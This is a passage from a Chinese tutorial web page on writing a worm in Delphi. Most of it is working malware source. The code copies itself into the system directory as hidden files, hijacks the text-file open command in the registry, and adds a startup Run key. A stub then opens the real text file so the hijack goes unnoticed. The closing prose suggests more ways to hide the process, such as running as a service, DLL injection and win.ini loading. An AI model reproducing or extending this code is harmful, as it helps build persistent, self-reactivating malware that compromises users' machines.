| 网站首页 | 文章中心 | 电子书下载 | 矢量图库 | 视频教程 | 素材下载 | 程序代码下载 | JS代码 | 论坛 | 
常用软件类:
|杀毒安全 |联络聊天 |网络软件 |多媒体类 |系统工具 |图形图像 |系统工具 |应用软件 |行业软件
开发设计类:
|动画制作 |图像处理 |3D设计 |操作系统 |站长学院 |网络相关 |WEB设计 |数据库类 |程序开发
用Delphi来编写蠕虫病毒浅析
作者:佚名    文章来源:网络    点击数:    更新时间:2006-9-7
 



 

procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false);
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk);
value:=‘virus_ruin.exe %1‘;
RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk);
value:=‘ruin.exe‘;
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8);
//设置开机自动运行ruin.exe
end;

  我们看上面的这个程序,就完成了自我复制,和开机自动运行,并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激活。

  不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,并且进行自我保护。

  如:

begin
if paramcount=1 then
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal);
//其他的代码

  这里,我只是给出一个简单的例子来描述出一个大概的思路,很多地方还不完善,比如进程的隐藏,你可以进行判断,如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务启动,或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini。

上一页  [1] [2] 


  • 上一篇文章:

  • 下一篇文章:
  • 相关文章